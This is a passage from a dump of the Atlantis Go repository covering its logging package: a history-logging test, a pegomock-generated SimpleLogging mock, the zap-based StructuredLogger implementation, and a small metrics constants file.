    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage logging_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestStructuredLoggerSavesHistory(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\thistoryLogger := logger.WithHistory()\n\n\texpectedStr := \"[DBUG] Hello World\\n[INFO] foo bar\\n\"\n\n\thistoryLogger.Debug(\"Hello World\")\n\thistoryLogger.Info(\"foo bar\")\n\n\tassert.Equal(t, expectedStr, historyLogger.GetHistory())\n}\n"
  },
  {
    "path": "server/logging/mocks/mock_simple_logging.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/logging (interfaces: SimpleLogging)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockSimpleLogging struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockSimpleLogging(options ...pegomock.Option) *MockSimpleLogging {\n\tmock := &MockSimpleLogging{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockSimpleLogging) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockSimpleLogging) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockSimpleLogging) Debug(format string, a ...interface{}) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Debug\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockSimpleLogging) Err(format string, a ...interface{}) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Err\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockSimpleLogging) Flush() error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Flush\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSimpleLogging) GetHistory() string {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetHistory\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()})\n\tvar _ret0 string\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSimpleLogging) Info(format string, a ...interface{}) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Info\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockSimpleLogging) Log(level logging.LogLevel, format string, a ...interface{}) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{level, format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Log\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockSimpleLogging) SetLevel(lvl logging.LogLevel) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{lvl}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"SetLevel\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockSimpleLogging) Warn(format string, a ...interface{}) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Warn\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockSimpleLogging) With(a ...interface{}) logging.SimpleLogging {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"With\", _params, []reflect.Type{reflect.TypeOf((*logging.SimpleLogging)(nil)).Elem()})\n\tvar _ret0 logging.SimpleLogging\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(logging.SimpleLogging)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSimpleLogging) WithHistory(a ...interface{}) logging.SimpleLogging {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSimpleLogging().\")\n\t}\n\t_params := []pegomock.Param{}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"WithHistory\", _params, []reflect.Type{reflect.TypeOf((*logging.SimpleLogging)(nil)).Elem()})\n\tvar _ret0 logging.SimpleLogging\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(logging.SimpleLogging)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSimpleLogging) VerifyWasCalledOnce() *VerifierMockSimpleLogging {\n\treturn &VerifierMockSimpleLogging{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockSimpleLogging) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSimpleLogging {\n\treturn &VerifierMockSimpleLogging{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockSimpleLogging) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSimpleLogging {\n\treturn &VerifierMockSimpleLogging{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockSimpleLogging) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSimpleLogging {\n\treturn &VerifierMockSimpleLogging{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockSimpleLogging struct {\n\tmock                   *MockSimpleLogging\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockSimpleLogging) Debug(format string, a ...interface{}) *MockSimpleLogging_Debug_OngoingVerification {\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Debug\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_Debug_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_Debug_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_Debug_OngoingVerification) GetCapturedArguments() (string, []interface{}) {\n\tformat, a := c.GetAllCapturedArguments()\n\treturn format[len(format)-1], a[len(a)-1]\n}\n\nfunc (c *MockSimpleLogging_Debug_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\t_param1 = make([][]interface{}, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param1[u] = make([]interface{}, len(_params)-1)\n\t\t\tfor x := 1; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param1[u][x-1] = _params[x][u].(interface{})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSimpleLogging) Err(format string, a ...interface{}) *MockSimpleLogging_Err_OngoingVerification {\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Err\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_Err_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_Err_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_Err_OngoingVerification) GetCapturedArguments() (string, []interface{}) {\n\tformat, a := c.GetAllCapturedArguments()\n\treturn format[len(format)-1], a[len(a)-1]\n}\n\nfunc (c *MockSimpleLogging_Err_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\t_param1 = make([][]interface{}, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param1[u] = make([]interface{}, len(_params)-1)\n\t\t\tfor x := 1; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param1[u][x-1] = _params[x][u].(interface{})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSimpleLogging) Flush() *MockSimpleLogging_Flush_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Flush\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_Flush_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_Flush_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_Flush_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockSimpleLogging_Flush_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockSimpleLogging) GetHistory() *MockSimpleLogging_GetHistory_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetHistory\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_GetHistory_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_GetHistory_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_GetHistory_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockSimpleLogging_GetHistory_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockSimpleLogging) Info(format string, a ...interface{}) *MockSimpleLogging_Info_OngoingVerification {\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Info\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_Info_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_Info_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_Info_OngoingVerification) GetCapturedArguments() (string, []interface{}) {\n\tformat, a := c.GetAllCapturedArguments()\n\treturn format[len(format)-1], a[len(a)-1]\n}\n\nfunc (c *MockSimpleLogging_Info_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\t_param1 = make([][]interface{}, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param1[u] = make([]interface{}, len(_params)-1)\n\t\t\tfor x := 1; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param1[u][x-1] = _params[x][u].(interface{})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSimpleLogging) Log(level logging.LogLevel, format string, a ...interface{}) *MockSimpleLogging_Log_OngoingVerification {\n\t_params := []pegomock.Param{level, format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Log\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_Log_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_Log_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_Log_OngoingVerification) GetCapturedArguments() (logging.LogLevel, string, []interface{}) {\n\tlevel, format, a := c.GetAllCapturedArguments()\n\treturn level[len(level)-1], format[len(format)-1], a[len(a)-1]\n}\n\nfunc (c *MockSimpleLogging_Log_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.LogLevel, _param1 []string, _param2 [][]interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.LogLevel, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.LogLevel)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\t_param2 = make([][]interface{}, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param2[u] = make([]interface{}, len(_params)-2)\n\t\t\tfor x := 2; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param2[u][x-2] = _params[x][u].(interface{})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSimpleLogging) SetLevel(lvl logging.LogLevel) *MockSimpleLogging_SetLevel_OngoingVerification {\n\t_params := []pegomock.Param{lvl}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"SetLevel\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_SetLevel_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_SetLevel_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_SetLevel_OngoingVerification) GetCapturedArguments() logging.LogLevel {\n\tlvl := c.GetAllCapturedArguments()\n\treturn lvl[len(lvl)-1]\n}\n\nfunc (c *MockSimpleLogging_SetLevel_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.LogLevel) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.LogLevel, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.LogLevel)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSimpleLogging) Warn(format string, a ...interface{}) *MockSimpleLogging_Warn_OngoingVerification {\n\t_params := []pegomock.Param{format}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Warn\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_Warn_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_Warn_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_Warn_OngoingVerification) GetCapturedArguments() (string, []interface{}) {\n\tformat, a := c.GetAllCapturedArguments()\n\treturn format[len(format)-1], a[len(a)-1]\n}\n\nfunc (c *MockSimpleLogging_Warn_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\t_param1 = make([][]interface{}, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param1[u] = make([]interface{}, len(_params)-1)\n\t\t\tfor x := 1; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param1[u][x-1] = _params[x][u].(interface{})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSimpleLogging) With(a ...interface{}) *MockSimpleLogging_With_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"With\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_With_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_With_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_With_OngoingVerification) GetCapturedArguments() []interface{} {\n\ta := c.GetAllCapturedArguments()\n\treturn a[len(a)-1]\n}\n\nfunc (c *MockSimpleLogging_With_OngoingVerification) GetAllCapturedArguments() (_param0 [][]interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\t_param0 = make([][]interface{}, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param0[u] = make([]interface{}, len(_params)-0)\n\t\t\tfor x := 0; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param0[u][x-0] = _params[x][u].(interface{})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSimpleLogging) WithHistory(a ...interface{}) *MockSimpleLogging_WithHistory_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tfor _, param := range a {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"WithHistory\", _params, verifier.timeout)\n\treturn &MockSimpleLogging_WithHistory_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSimpleLogging_WithHistory_OngoingVerification struct {\n\tmock              *MockSimpleLogging\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSimpleLogging_WithHistory_OngoingVerification) GetCapturedArguments() []interface{} {\n\ta := c.GetAllCapturedArguments()\n\treturn a[len(a)-1]\n}\n\nfunc (c *MockSimpleLogging_WithHistory_OngoingVerification) GetAllCapturedArguments() (_param0 [][]interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\t_param0 = make([][]interface{}, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param0[u] = make([]interface{}, len(_params)-0)\n\t\t\tfor x := 0; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param0[u][x-0] = _params[x][u].(interface{})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/logging/simple_logger.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package logging handles logging throughout Atlantis.\npackage logging\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"go.uber.org/zap\"\n\t\"go.uber.org/zap/zapcore\"\n\t\"go.uber.org/zap/zaptest\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_simple_logging.go SimpleLogging\n\n// SimpleLogging is the interface used for logging throughout the codebase.\ntype SimpleLogging interface {\n\n\t// These basically just fmt.Sprintf() the message and args.\n\tDebug(format string, a ...any)\n\tInfo(format string, a ...any)\n\tWarn(format string, a ...any)\n\tErr(format string, a ...any)\n\tLog(level LogLevel, format string, a ...any)\n\tSetLevel(lvl LogLevel)\n\n\t// With adds a variadic number of fields to the logging context. It accepts a\n\t// mix of strongly-typed Field objects and loosely-typed key-value pairs. When\n\t// processing pairs, the first element of the pair is used as the field key\n\t// and the second as the field value.\n\tWith(a ...any) SimpleLogging\n\n\t// Creates a new logger with history preserved . log storage + search strategies\n\t// should ideally be used instead of managing this ourselves.\n\t// keeping as a separate method to ensure that usage of history is completely intentional\n\tWithHistory(a ...any) SimpleLogging\n\n\t// Fetches the history we've stored associated with the logging context\n\tGetHistory() string\n\n\t// Flushes anything left in the buffer\n\tFlush() error\n}\n\ntype StructuredLogger struct {\n\tz           *zap.SugaredLogger\n\tlevel       zap.AtomicLevel\n\tkeepHistory bool\n\t// History stores all log entries ever written using\n\t// this logger. This is safe for short-lived loggers\n\t// like those used during plan/apply commands.\n\t// TODO: Deprecate this\n\t// this is added here to maintain backwards compatibility\n\t// This doesn't really make sense to keep given that structured logging\n\t// gives us the ability to query our logs across multiple dimensions\n\t// I don't believe we should mix this in with atlantis commands and expose this to the user\n\thistory bytes.Buffer\n}\n\nfunc NewStructuredLoggerFromLevel(lvl LogLevel) (SimpleLogging, error) {\n\tcfg := zap.NewProductionConfig()\n\n\tcfg.EncoderConfig.EncodeTime = zapcore.ISO8601TimeEncoder\n\tcfg.Level = zap.NewAtomicLevelAt(lvl.zLevel)\n\treturn newStructuredLogger(cfg)\n}\n\nfunc NewStructuredLogger() (SimpleLogging, error) {\n\tcfg := zap.NewProductionConfig()\n\tcfg.EncoderConfig.EncodeTime = zapcore.ISO8601TimeEncoder\n\treturn newStructuredLogger(cfg)\n}\n\nfunc newStructuredLogger(cfg zap.Config) (*StructuredLogger, error) {\n\tbaseLogger, err := cfg.Build()\n\n\tbaseLogger = baseLogger.\n\t\t// ensures that the caller doesn't just say logging/simple_logger each time\n\t\tWithOptions(zap.AddCallerSkip(1)).\n\t\tWithOptions(zap.AddStacktrace(zapcore.WarnLevel)).\n\t\t// creates isolated context for all future kv pairs, name can be flexible as needed\n\t\tWith(zap.Namespace(\"json\"))\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\" initializing structured logger: %w\", err)\n\t}\n\n\treturn &StructuredLogger{\n\t\tz:     baseLogger.Sugar(),\n\t\tlevel: cfg.Level,\n\t}, nil\n}\n\nfunc (l *StructuredLogger) With(a ...any) SimpleLogging {\n\treturn &StructuredLogger{\n\t\tz:     l.z.With(a...),\n\t\tlevel: l.level,\n\t}\n}\n\nfunc (l *StructuredLogger) WithHistory(a ...any) SimpleLogging {\n\tlogger := &StructuredLogger{\n\t\tz:     l.z.With(a...),\n\t\tlevel: l.level,\n\t}\n\n\t// ensure that the history is kept across loggers.\n\tlogger.keepHistory = true\n\tlogger.history = l.history\n\n\treturn logger\n}\n\nfunc (l *StructuredLogger) GetHistory() string {\n\treturn l.history.String()\n}\n\nfunc (l *StructuredLogger) Debug(format string, a ...any) {\n\tl.z.Debugf(format, a...)\n\tl.saveToHistory(Debug, format, a...)\n}\n\nfunc (l *StructuredLogger) Info(format string, a ...any) {\n\tl.z.Infof(format, a...)\n\tl.saveToHistory(Info, format, a...)\n}\n\nfunc (l *StructuredLogger) Warn(format string, a ...any) {\n\tl.z.Warnf(format, a...)\n\tl.saveToHistory(Warn, format, a...)\n}\n\nfunc (l *StructuredLogger) Err(format string, a ...any) {\n\tl.z.Errorf(format, a...)\n\tl.saveToHistory(Error, format, a...)\n}\n\nfunc (l *StructuredLogger) Log(level LogLevel, format string, a ...any) {\n\tswitch level {\n\tcase Debug:\n\t\tl.z.Debugf(format, a...)\n\tcase Info:\n\t\tl.z.Infof(format, a...)\n\tcase Warn:\n\t\tl.z.Warnf(format, a...)\n\tcase Error:\n\t\tl.z.Errorf(format, a...)\n\t}\n}\n\nfunc (l *StructuredLogger) SetLevel(lvl LogLevel) {\n\tif l != nil {\n\t\tl.level.SetLevel(lvl.zLevel)\n\t}\n}\n\nfunc (l *StructuredLogger) Flush() error {\n\treturn l.z.Sync()\n}\n\nfunc (l *StructuredLogger) saveToHistory(lvl LogLevel, format string, a ...any) {\n\tif !l.keepHistory {\n\t\treturn\n\t}\n\tmsg := fmt.Sprintf(format, a...)\n\tl.history.WriteString(fmt.Sprintf(\"[%s] %s\\n\", lvl.shortStr, msg))\n}\n\n// NewNoopLogger creates a logger instance that discards all logs and never\n// writes them. Used for testing.\nfunc NewNoopLogger(t zaptest.TestingT) SimpleLogging {\n\tlevel := zap.DebugLevel\n\treturn &StructuredLogger{\n\t\tz:     zaptest.NewLogger(t, zaptest.Level(level)).Sugar(),\n\t\tlevel: zap.NewAtomicLevelAt(level),\n\t}\n}\n\ntype LogLevel struct {\n\tzLevel   zapcore.Level\n\tshortStr string\n}\n\nvar (\n\tDebug = LogLevel{\n\t\tzLevel:   zapcore.DebugLevel,\n\t\tshortStr: \"DBUG\",\n\t}\n\tInfo = LogLevel{\n\t\tzLevel:   zapcore.InfoLevel,\n\t\tshortStr: \"INFO\",\n\t}\n\tWarn = LogLevel{\n\t\tzLevel:   zapcore.WarnLevel,\n\t\tshortStr: \"WARN\",\n\t}\n\tError = LogLevel{\n\t\tzLevel:   zapcore.ErrorLevel,\n\t\tshortStr: \"EROR\",\n\t}\n)\n"
  },
  {
    "path": "server/metrics/common.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage metrics\n\nconst (\n\tExecutionTimeMetric    = \"execution_time\"\n\tExecutionSuccessMetric = \"execution_success\"\n\tExecutionErrorMetric   = \"execution_error\"\n\tExecutionFailureMetric = \"execution_failure\"\n)\n"
  },
  {
    "path": "server/metrics/counter.go",
